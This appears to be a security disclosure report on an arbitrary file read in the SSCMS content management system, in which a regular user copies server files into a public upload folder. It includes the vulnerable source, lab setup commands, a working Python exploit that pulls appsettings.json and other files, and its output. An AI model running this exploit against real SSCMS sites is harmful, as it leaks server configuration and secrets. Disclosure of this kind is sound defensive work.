siteserver SSCMS Vulnerability Report

Software: SSCMS

Developer or vendor: siteserver

Code repository: https://github.com/siteserver/cms

1. Arbitrary File Read via Image Copy in the User Center

Brief description:A regular user can copy files from other directories on the server into their own public directory and retrieve them without authentication, with retrieval limited by file extension.
Affected versions:7.2.0 ~ 7.4.0
Introduced in:siteserver/cms commit e79951f1
Preconditions:The attacker holds a regular user account. Self-registration is enabled by default.

Root Cause

When a user confirms an image in the editor of the user center, the front end calls POST /api/home/common/form/layerImageUpload. With siteId set to 0 in the request body, the endpoint takes the following branch:

// src/SSCMS.Web/Controllers/Home/Common/Form/LayerImageUploadController.Submit.cs:113-123    commit 09ab59b9dd
            else
            {
                foreach (var filePath in request.FilePaths)
                {
                    if (string.IsNullOrEmpty(filePath)) continue;

                    var fileName = PathUtils.GetFileName(filePath);
                    var userFilePath = _pathManager.GetUserUploadPath(_authManager.UserId, fileName);
                    FileUtils.CopyFile(filePath, userFilePath, true);

The source argument of FileUtils.CopyFile is the string from filePaths, so neither the directory nor the extension of the source file is restricted. The destination path is built by GetUserUploadPath:

// src/SSCMS.Core/Services/PathManager.Root.cs:162-166,194-197    commit 09ab59b9dd
        public string GetHomeUploadPath(params string[] paths)
        {
            var path = GetSiteFilesPath(DirectoryUtils.SiteFiles.Home, PathUtils.Combine(paths));
            return path;
        }

        public string GetUserUploadPath(int userId, string relatedPath)
        {
            return GetHomeUploadPath(userId.ToString(), relatedPath);
        }

wwwroot/sitefiles/home/{userId}/ is served by the static file middleware, so a copied file is retrievable at /sitefiles/home/{userId}/{fileName} without signing in. The file name is the last segment of the source path, so the copy keeps the original name.

Reproduction Environment

The lab uses the compose file shipped in the official repository:

mkdir sscms && cd sscms
wget https://raw.githubusercontent.com/siteserver/cms/master/docker/mysql/docker-compose.yml
echo "SSCMS_SECURITY_KEY=$(openssl rand -hex 16).$(openssl rand -hex 16)" > .env
sed -i 's|^    image: mysql$|    image: mysql:8.0|' docker-compose.yml
sed -i 's|- "80:80"|- "80:8080"|' docker-compose.yml
docker compose up -d

The official file leaves the mysql version unpinned, and the mysql tag now points at 26.10, which rejects the --default-authentication-plugin=mysql_native_password argument in the file, so the image is pinned to mysql:8.0. The application inside sscms/core listens on 8080, so host port 80 is mapped to container port 8080. Everything else follows the official file. Open http://localhost/ss-admin/ and complete the setup wizard.

Reproduction

Open the registration page and register a regular user named attacker with the password Attacker@123456:

Sign in and open the user center:

/app/appsettings.json, /app/SSCMS.Web.xml, /app/wwwroot/404.html and /app/SSCMS.dll all ship in the release package, and the first three live outside the web root. Run the following script:

import hashlib
import httpx

BASE = "http://127.0.0.1"

c = httpx.Client(base_url=BASE, timeout=60)

r = c.post("/api/v1/users/actions/login", json={
    "account": "attacker", "password": hashlib.md5(b"Attacker@123456").hexdigest()})
print(r.text)
token = r.json()["accessToken"]
user_id = r.json()["user"]["id"]

r = c.post("/api/home/common/form/layerImageUpload",
           headers={"Authorization": "Bearer " + token},
           json={"siteId": 0,
                 "filePaths": ["/app/appsettings.json", "/app/SSCMS.Web.xml",
                               "/app/wwwroot/404.html", "/app/SSCMS.dll"]})
print(r.status_code, r.text)

for name in ["appsettings.json", "SSCMS.Web.xml", "404.html", "SSCMS.dll"]:
    path = "/sitefiles/home/%d/%s" % (user_id, name)
    r = c.get(path)
    print("GET %s -> %d, %d bytes" % (path, r.status_code, len(r.content)))

The script signs in as the regular user, requests the copy of the four files, then retrieves them without credentials. The output is:

{"user":{"confirmPassword":"","userName":"attacker","lastResetPasswordDate":"2026-11-13 13:05:34","lastActivityDate":"2026-11-13 13:05:42","departmentId":0,"manager":false,"countOfLogin":1,"countOfFailedLogin":0,"checked":true,"locked":false,"displayName":"attacker","mobile":null,"mobileVerified":false,"email":null,"avatarUrl":null,"openId":null,"departmentName":null,"id":1,"guid":"db16739b-2960-4f5d-90d4-0d9d52c9ebaa","createdDate":"2026-11-13 13:05:34","lastModifiedDate":"2026-11-13 13:05:34"},"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1laWQiOiIxIiwidW5pcXVlX25hbWUiOiJhdHRhY2tlciIsInJvbGUiOiJVc2VyIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9pc3BlcnNpc3RlbnQiOiJGYWxzZSIsIm5iZiI6MTc5NDU3NTE0MiwiZXhwIjoxNzk0NjYxNTQyLCJpYXQiOjE3OTQ1NzUxNDJ9.wbpPtq4uXoqBsAPWW3vwbWrPvCMUldmd-1nY2Sn2eWg"}
200 [{"imageUrl":"/sitefiles/home/1/appsettings.json","imageVirtualUrl":"/sitefiles/home/1/appsettings.json","previewUrl":null,"previewVirtualUrl":null},{"imageUrl":"/sitefiles/home/1/SSCMS.Web.xml","imageVirtualUrl":"/sitefiles/home/1/SSCMS.Web.xml","previewUrl":null,"previewVirtualUrl":null},{"imageUrl":"/sitefiles/home/1/404.html","imageVirtualUrl":"/sitefiles/home/1/404.html","previewUrl":null,"previewVirtualUrl":null},{"imageUrl":"/sitefiles/home/1/SSCMS.dll","imageVirtualUrl":"/sitefiles/home/1/SSCMS.dll","previewUrl":null,"previewVirtualUrl":null}]
GET /sitefiles/home/1/appsettings.json -> 200, 965 bytes
GET /sitefiles/home/1/SSCMS.Web.xml -> 200, 7886 bytes
GET /sitefiles/home/1/404.html -> 200, 16432 bytes
GET /sitefiles/home/1/SSCMS.dll -> 404, 16432 bytes

The copy request returns 200 for all four paths, and the endpoint returns an imageUrl for each of them. Retrieval returns 200 for the first three, with lengths matching the source files, and 404 for SSCMS.dll. The copy step does not restrict extensions; whether a file can be retrieved depends on the extension check in the static file middleware, and .dll is not among the accepted ones. This vulnerability therefore reads files on the server whose extensions the static file middleware accepts.

The middleware is registered by app.UseStaticFiles() in Startup.cs without a custom ContentTypeProvider, so the accepted extensions are those of the default ASP.NET Core MIME mapping table, 381 entries in total:

.323 .3g2 .3gp .3gp2 .3gpp .aac .aaf .aca .accdb .accde
.accdt .acx .adt .adts .afm .ai .aif .aifc .aiff .appcache
.application .art .asd .asf .asi .asm .asr .asx .atom .au
.avi .axs .bas .bcpio .bin .bmp .c .cab .calx .cat
.cdf .chm .class .clp .cmx .cnf .cod .cpio .cpp .crd
.crl .crt .csh .css .csv .cur .dcr .deploy .der .dib
.dir .disco .dlm .doc .docm .docx .dot .dotm .dotx .dsp
.dtd .dvi .dvr-ms .dwf .dwp .dxr .eml .emz .eot .eps
.etx .evy .exe .fdf .fif .fla .flr .flv .gif .gtar
.gz .h .hdf .hdml .hhc .hhk .hhp .hlp .hqx .hta
.htc .htm .html .htt .hxt .ical .icalendar .ico .ics .ief
.ifb .iii .inf .ins .isp .IVF .jar .java .jck .jcz
.jfif .jpb .jpe .jpeg .jpg .js .json .jsx .latex .lit
.lpk .lsf .lsx .lzh .m13 .m14 .m1v .m2ts .m3u .m4a
.m4v .man .manifest .map .markdown .md .mdb .mdp .me .mht
.mhtml .mid .midi .mix .mjs .mmf .mno .mny .mov .movie
.mp2 .mp3 .mp4 .mp4v .mpa .mpe .mpeg .mpg .mpp .mpv2
.ms .msi .mso .mvb .mvc .nc .nsc .nws .ocx .oda
.odc .ods .oga .ogg .ogv .ogx .one .onea .onepkg .onetmp
.onetoc .onetoc2 .osdx .otf .p10 .p12 .p7b .p7c .p7m .p7r
.p7s .pbm .pcx .pcz .pdf .pfb .pfm .pfx .pgm .pko
.pma .pmc .pml .pmr .pmw .png .pnm .pnz .pot .potm
.potx .ppam .ppm .pps .ppsm .ppsx .ppt .pptm .pptx .prf
.prm .prx .ps .psd .psm .psp .pub .qt .qtl .qxd
.ra .ram .rar .ras .rf .rgb .rm .rmi .roff .rpm
.rtf .rtx .scd .sct .sea .setpay .setreg .sgml .sh .shar
.sit .sldm .sldx .smd .smi .smx .smz .snd .snp .spc
.spl .spx .src .ssm .sst .stl .sv4cpio .sv4crc .svg .svgz
.swf .t .tar .tcl .tex .texi .texinfo .tgz .thmx .thn
.tif .tiff .toc .tr .trm .ts .tsv .ttc .ttf .tts
.txt .u32 .uls .ustar .vbs .vcf .vcs .vdx .vml .vsd
.vss .vst .vsto .vsw .vsx .vtx .wasm .wav .wax .wbmp
.wcm .wdb .webm .webmanifest .webp .wks .wm .wma .wmd .wmf
.wml .wmlc .wmls .wmlsc .wmp .wmv .wmx .wmz .woff .woff2
.wps .wri .wrl .wrz .wsdl .wtv .wvx .x .xaf .xaml
.xap .xbap .xbm .xdr .xht .xhtml .xla .xlam .xlc .xlm
.xls .xlsb .xlsm .xlsx .xlt .xltm .xltx .xlw .xml .xof
.xpm .xps .xsd .xsf .xsl .xslt .xsn .xtp .xwd .z
.zip

Extensions outside the table return 404, and SSCMS.dll is one of them. The list comes from new FileExtensionContentTypeProvider().Mappings.